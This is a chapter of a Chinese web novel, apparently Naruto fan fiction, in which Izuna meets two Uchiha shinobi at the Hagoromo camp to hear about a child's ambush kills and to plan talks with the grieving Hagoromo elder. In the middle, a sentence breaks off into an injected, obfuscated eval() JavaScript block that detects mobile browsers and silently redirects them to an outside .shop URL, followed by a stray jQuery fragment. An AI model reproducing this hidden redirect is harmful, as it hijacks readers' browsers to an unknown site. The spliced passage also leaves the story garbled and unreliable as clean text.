第九章夜明前的审度
夜雾从羽衣驻地的外围漫进来，将营帐群笼罩成一片灰蒙蒙的虚影。
岁火掀开帐帘，弯腰钻进了孩子们的营帐。
一盏油灯搁在角落，火苗在帐壁上投出跳动出微弱的影子。
帐篷里，孩子们已经睡下了。
今天对于孩子们来说发生了太多，从宇智波族地到羽衣驻地，穿越中立区，遭遇风魔伏击，被起爆符炸碎了一个同伴——
这对一个成年人来说都够呛，更何况是最大八岁、最小五岁半的孩子。
岁火的目光从每一张睡脸上扫过。
镜，这个今天差点就死在风魔忍者手上的孩子，正蜷在刹那旁边，抱着一角毯子。
这个只有六岁的小卷毛眉头微微皱着，仿佛在梦里还在跑。
岁火刚弯下腰准备检查他的脚踝，刹那的眼睛就睁开了。
一勾玉的写轮眼在黑暗中泛着猩红的冷光，眼珠转动，在没有任何过渡的情况下锁定在岁火身上。
“睡你的。”岁火压低声音，凑到油灯前。
噗。
一口气吹灭了灯芯。
营帐陷入黑暗。
岁火掀开帐帘出去的时候，听到身后传来一声压得很低的、不满的“切”。
---
营帐外的空地上，铁川正蹲在一截树桩上磨刀。
岁火走过去，拿起竹筒灌了一口水。
“十四人，都睡了。物资已交接，药品和手里剑全部补齐。”
铁川点了点头，和岁火并肩走向驻地入口。
羽衣驻地的入口是一道用粗木搭建的哨卡，两侧各立着一座简陋的哨塔。
到了秋收季，哨塔上加派了人手，守卫手里举着的火把将哨卡前的地面照出一圈跳动的橙光。
令人没想到的是。
泉奈已经在那里了。
他穿着一身深色旅装，没有披铠甲，腰间仍然挂着那把从不离身的佩刀。
“泉奈大人。”岁火和铁川同时行礼。
泉奈转过身，点了下头算作回应。
“您怎么现在就到了？约定的时间是明天清晨。”
“我和哥哥换了班。”泉奈说得云淡风轻，“现在哥哥在前线。他原本驻守的阵地已经交给火核了。”
“我早一点来晚一点来没什么区别。”泉奈收回目光，越过哨卡朝营地里走，“反正明天都要拜见羽衣族长，早点到还能休息一夜。”
岁火和铁川跟在他身后。
泉奈走在前面，背对着他们，忽然问道：“那个小子还活着吗？”
岁火明白他在问谁。
“不但活着，还杀了两个风魔中忍。”
泉奈的脚步骤然停住。
月光洒在营地中央的空地上，把三个人的影子拉得又瘦又长。
“详细说。”
岁火没有添油加醋。他从伏击的位置开始讲起——起爆符炸碎了队伍中段，撤退时镜被困，刹那解开了背囊胸扣从他手里滑出去，窜回去几十米。
然后是他赶到时目睹的战斗收尾——以及他从现场痕迹反推出来的完整经过。
“两个风魔中忍。第一个，刹那从背后偷袭，用风魔手里剑的残刃砍掉了脑袋。一击毙命。那个忍者的同伴直到血溅到身上才发现。”
“第二个掐住了镜的喉咙当人质。刹那用手里剑分身术，本体绕后偷袭，苦无捅穿了那个忍者的小臂，逼他松手。镜趁机从正面捅了腹部。两人一前一后，把第二个也干掉了。”
岁火讲到这里停了一下。
“两个风魔中忍，都是偷袭。”
泉奈沉默着，余光扫向铁川。
“是这样吗？”
“是。”铁川的回答永远是最省字数的版本，“现场痕迹吻合，很干净。”
铁川不夸人。能被沉默寡言的双刀上忍说“很干净”，比任何冗长的赞美都有分量。
手里剑分身术是远距离投掷的高级运用，在投掷手里剑的瞬间结分身印，本体和分身互换位置，借此奇袭。
在宇智波的上忍考核中也是加分项目。
一个刚开一勾玉的五岁孩子，没有经过任何正规训练，在实战中用偷袭干掉了两个成年中忍。
泉奈站在原地，月光在他脸上切出明暗交界的分割线。
“另外，”岁火停顿了一下，“泉奈大人，我觉得还是有必要告知您。”
“嗯。”
“他的战斗意识很强，”岁火斟酌着措辞，“但是性格非常……难以管束。撤离时我下令全速前进，他当着我的面违抗命令，擅自脱离队伍，把自己暴露在了敌人的攻击范围内。”
“他不听命令？”
泉奈笑了。
“倒有几分哥哥以前的风范。”
岁火一怔。
在宇智波族内，拿谁和斑比较都是不合规矩的，但这话是从泉奈嘴里说出来的。
岁火和铁川对视了一眼。
他们都知道，泉奈嘴上从来不饶人，能让他说出这种话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567537|204817||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，说明他心里其实相当满意了。
泉奈收回笑意，抬手示意两人继续走，一边朝营地深处前行，一边将话题转到了更具体的正事上。
明天拜见羽衣老族长，不是一次简单的走亲戚。
“南贺川上游的秋收已经开始了，”泉奈边走边说，“每年这个时节，各族都会派人来抢掠收成。风魔、血马、疯魔——凡是能在粮食上捞一把的，谁都不会空手来。当然，对羽衣而言，和我们结盟，算是盟友里实力最强的。能拿到低价的粮食作为回礼。”
岁火和铁川跟上他的脚步。
“明天的第一件事，是向老族长正式宣布刹那将成为宇智波一族的少族长。这个孩子身上流着羽衣的血，由他来当少族长，本身就是对盟约最有力的加固。”
岁火点了点头。这不是单纯的安抚，是实实在在的政治筹码。
羽衣一族在战场上牺牲了太多青壮年，他们需要一个能在宇智波高层说得上话的人来保证联盟的稳固。刹那就是那个连接点。
泉奈继续说下去。第二件事，比第一件更棘手。
“羽衣的天正族长，十天前死在了与千手的战场上。”
营帐之间的小道很窄，三个成年人鱼贯而行，脚步在夯土上踩出沉闷的节奏。
“天正族长一死，年轻一辈中就再没有能独当一面的统帅。”泉奈的语气比刚才更沉，“老族长不得不重新主持大局。我们这次来，首先是吊唁，其次是按兄长的意思——拉住老族长。”
岁火的眉心动了一下。
“老族长想复仇？”
“复仇，反攻，把千手从南贺川东岸赶出去。”泉奈的声音很冷，“他儿子死了，他恨不得现在就点齐兵马杀过去。”
铁川难得开了口：“打不过。”
“当然打不过。”泉奈转过头，目光越过营帐群，望向羽衣族地的方向，“不但打不过千手，风魔和血马也在围扰羽衣的领地。三家同时施压，羽衣撑不到明年开春。”
“所以兄长的意思是，拉住他。让他看清现状——再打下去，羽衣要灭族。到时候即便宇智波把头部战力全部调遣过来，也难以抵御三方家族的同时袭扰。”
岁火沉默了片刻，然后说：“老族长不是容易劝的人。”
“我知道。”泉奈说，“所以才需要刹那。”
一个流着羽衣血脉的宇智波少族长，坐在谈判桌对面，本身就是最有力的承诺——
宇智波不会放弃羽衣，但同时，宇智波也不会支持羽衣去送死。